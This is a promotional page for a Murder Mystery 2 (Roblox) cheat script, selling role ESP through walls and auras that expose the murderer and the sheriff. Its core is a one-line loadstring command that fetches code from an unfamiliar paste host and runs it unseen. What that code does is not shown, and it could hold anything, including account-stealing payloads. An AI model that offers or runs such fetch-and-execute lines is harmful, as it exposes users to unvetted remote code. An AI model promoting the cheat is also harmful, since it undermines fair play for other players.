MM2 Script Guide · 2026

MM2 ESP Script

Updated August 2026 · v4.2.1 working

Half of Murder Mystery 2 is information: who the murderer is, where the sheriff is standing, who is about to die. This keyless MM2 script gives you role ESP through walls — clean colored outlines on murderer, sheriff and every innocent — plus auras that flag both special roles the second a round starts, before anyone has done anything suspicious.

mm2_premium.lua — keyless
loadstring(game:HttpGet("https://cdn.cdnpastebin.com/api/paste/DcCVqWyf/raw"))()

Role ESP, explained

Every player gets an outline colored by their actual role: murderer in one color, sheriff in another, innocents neutral. Walls, props and distance do not hide it. You know the round's threat map from spawn instead of guessing from who is running at you with a knife.

Sheriff and murderer aura

The auras go one step further than ESP — both special roles glow the moment roles are dealt, round one. That means you never waste a round testing someone, never trust the wrong 'sheriff', and as murderer you always know where the gun is before it is drawn.

Clean visuals, no clutter

Outlines are tuned to stay readable — no rainbow boxes covering half your screen, no names you do not need. Toggle ESP and auras independently from the menu, so you can run farm-only sessions or full-information rounds whenever you want.

Does the ESP show roles through walls?
Yes — murderer, sheriff and innocent outlines are visible through walls, props and distance.
Is ESP separate from the coin farm?
No, it is the same keyless script — toggle ESP and auras on or off in the menu anytime.
Does ESP work on mobile executors?
Yes — Delta and Codex both render the outlines fine on phone screens.
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